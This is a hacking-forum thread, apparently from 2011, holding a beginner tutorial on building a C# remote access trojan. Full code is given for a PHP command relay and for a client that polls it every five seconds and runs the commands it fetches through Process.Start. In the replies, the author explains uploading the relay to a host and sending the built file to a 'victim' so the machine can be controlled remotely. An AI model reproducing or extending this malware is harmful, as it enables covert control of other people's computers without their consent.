Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C# 

[C# Tutorial][IMG's Reuploaded] Make a C# RAT, NO port-forwarding!

Make a C# RAT using the DarkCoder PHP method! No port-forwarding!

Hello all, this is my biggest tutorial so far. I would first like to thank DarkCoder for the great idea!

This tutorial is made for absolute-beginners.
If you aren't one of them, skip to the end, download the project and get to work!

First download WampServer, this is to develop your rat. You can download WampServer here:

Code
http://www.wampserver.com/en/download.php
Then click your version of windows:
[Image: KMIrK.png]

Install it, click a couple of times yes, and you're good to go.

Now create a notepad file, and put this code inside of it:

Code
<?php
$action = $_GET['action'];
$data = $_GET['data'];

if ($action == "delete"){
unlink("log.txt");
$new = fopen("log.txt", 'a');
fclose($new);
}

if ($action == "write"){
$open = fopen("log.txt", 'a');
fwrite($open, $data);
fclose($open);
}

if ($action == "read"){
echo file_get_Contents("log.txt");
}

?>

Save it as ''index.php'' and make sure to put the second thingy to ''All Files''
[Image: c4Zmb.jpg]

Now copy this index.php to: "C:\wamp\www\captainbri"
If the map ''captainbri'' is not there yet, make one and put the index.php into it.
[img]http://img209.imageshack.us/img209/5159/62274329.gif[/img]

Now open up Visual Studio, create a new C# Project, and name it "c_Server"
[Image: 8gGCO.jpg]

Now double click the form, you will come into the coding window.
[img]http://img87.imageshack.us/img87/7734/82760167.gif[/img]

Now go to the top of the code, and below ''using System.Windows.Forms;'' put this code:

Code
using System.Net;
using System.Diagnostics;

Now we will write the code to check for any incoming commands.
Make a void called ''Check'', that will check the command and act upon it.
[Image: MSjQT.jpg]

Now above the ''private void Check()'' part, we make a new WebClient, to download the command.
Like this:

Code
WebClient client = new WebClient();

Your code should look like this:
[Image: sJhEr.jpg]

Now we code the ''Check'' function. We are going to download the command-log and check for a command.

Code
string command = client.DownloadString("http://127.0.0.1/captainbri/log.txt");
Now the string ''command'' contains the string of the txt file ''log.txt''.

Now we split the string into smaller strings, using the ''.Split'' method.

Code
string[] a = command.Split('*');
This probably won't make any sense, I will explain this later.

Now we make a simple ''if'' statement. This won't make any sense either, and I will also explain this later.

Code
if (a[0] == "website")
    {
    Process.Start(a[1]);
    }

And we delete the log after it's succesfully been read.
Code
client.DownloadString("http://127.0.0.1/captainbri/index.php?action=delete");

Your code should look like:
[Image: 1xaoL.jpg]

On the form_load we make a timer, that will check the command every 5 seconds, like this:
[Image: YQtex.jpg]

Now we insert an event, so the timer will actually check every 5 seconds.
[img]http://img248.imageshack.us/img248/5607/70130498.gif[/img]
Tip: Press tab 2 times when Visual Studio sais so.

Now remove that shitty ''trow new ... code and replace it like this:
[Image: W920c.jpg]

And add the code ''tim.Start();'' to the form_load!
Your code should look like this:
[Image: J79ry.jpg]


Now coding the server is done.

Make a new project called ''c_Client'', like this:
[Image: dB2o1.jpg]

Now add 1 label, 1 button and 1 textbox to the form.
[img]http://img155.imageshack.us/img155/4825/40045997.gif[/img]

Name and edit the controls like this:
Label --> Text = "Enter the website:"
Textbox --> (Name) = "txtWebsite"
Button --> (Name) = "btnStartWebsite"

Like this:
[Image: c5Y1b.jpg]

Your form should look like this:
[Image: SGBvL.jpg]

Now double click the button. Add to the top of your code just beneath ''using System.Windows.Forms;"
this code: "using System.Net;"
Like this:
[img]http://img140.imageshack.us/img140/7754/94622831.gif[/img]

Now create a new WebClient above the button's code:
[img]http://img7.imageshack.us/img7/9964/51338787.gif[/img]

Code
WebClient client = new WebClient();

Now write this code, it will send a command to the php, which will fill the log, and the server will read the log.
So, write this:

Code
client.DownloadString("http://127.0.0.1/captainbri/index.php?action=write&data=website*" + txtWebsite.Text);
It will send the command ''website'' and the url of the website you want the server to visit.

Before we run the project, I will show you what happens.
First, you send a command to the PHP file to write "website*" + the website you've entered.
The PHP file writes this to the TXT.
The server reads this TXT and splits it into an array of strings. Let me show you that in a picture.
The command contains:
[Image: L8wVk.jpg]
And it splits it.
[Image: gbLHf.jpg]
The command is ''a[0]'' and the website is ''a[1]''!

So, if the command is "website", start the website which is ''a[1]''!

Let's run the project!
The result:
[img]http://img155.imageshack.us/img155/2909/98944277.gif[/img]

Comments are more than welcome, and appriciated at the most!
Thanks for reading my tutorial, I hope you learned something new!

To download this project, visit this link:
Code
http://www.multiupload.com/DV8YKOVAUM
To get the password, a simple PM is enough. I do request that the password does not get posted in this thread.
So this makes a rat like cybergate? Sorry for being such a noob
(Feb 6, 2011 08:28 AM)qwerty156 Wrote:  So this makes a rat like cybergate? Sorry for being such a noob

No, Cybergate is not a PHP rat, and Cybergate is coded in Delphi.
But basically yes a little bit like cybergate, with less functions thought.
(Feb 6, 2011 08:28 AM)qwerty156 Wrote:  So this makes a rat like cybergate? Sorry for being such a noob

This is the base of a simple PHP Rat. Nothing like CyberGate at this moment.

(Feb 6, 2011 09:04 AM)DeathStar™ Wrote:  No, Cybergate is not a PHP rat, and Cybergate is coded in Delphi.
But basically yes a little bit like cybergate, with less functions thought.

True. 👍
How'd you change your colors and shit?
"Earth; you don't have to be crazy to live here, but it helps."
(Feb 6, 2011 09:50 AM)Fame Wrote:  How'd you change your colors and shit?

You mean the font & color I've used?

Like this?

The code is:
Code
[color=#98FB98][font=Verdana]Like this?[/font][/color]
Nice tutorial dude! :)

Offtopic: How'd you do those animated images? :D
I mean this: [img]http://img7.imageshack.us/img7/9964/51338787.gif[/img]

Those are some badass colors. I want them D:
"Earth; you don't have to be crazy to live here, but it helps."
(Feb 6, 2011 10:08 AM)[David]-- X Wrote:  Nice tutorial dude! :)

Offtopic: How'd you do those animated images? :D

Thank you!

I've used Camtasia Studio 7, exported as a GIF and uploaded to ImageShack!

And Fame, I am PMing you, because I wrote an tutorial earlier on this subject, not gonna explain it all again lol. Ima pm you the tutorial.
Can you give me the name of your scheme? I was going to reply asking this but you have PM's disabled.

Thanks,
Fame
"Earth; you don't have to be crazy to live here, but it helps."
It is the Ragnarok Blue scheme.
So the "Form1" is the infected file and you can open a website in your victims computer.
(Feb 7, 2011 02:49 AM)qwerty156 Wrote:  So the "Form1" is the infected file and you can open a website in your victims computer.

First upload the PHP script & log.txt to some PHP host, link the form1 server to your PHP host link, and then send the file to your victim, and now you are able to open up a website.
And I do have a question people, is this tutorial better/worse than this tutorial: https://hackforums.net/showthread.php?tid=229243
Is there any way to see if your infected by this or some variant of it? Figure you would know if anyone did CaptainBri.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by BestandsextensieNov 14, 2018 07:49 PM 4 213 Nov 14, 2018 07:49 PM
Last Post: Louis
[Python] by Coffee is loveJan 29, 2017 04:56 PM 1 96 Jan 29, 2017 04:56 PM
Last Post: HFDone
[Python] by emadaldin1Dec 11, 2015 08:56 AM 5 156 Dec 11, 2015 08:56 AM
Last Post: Kevn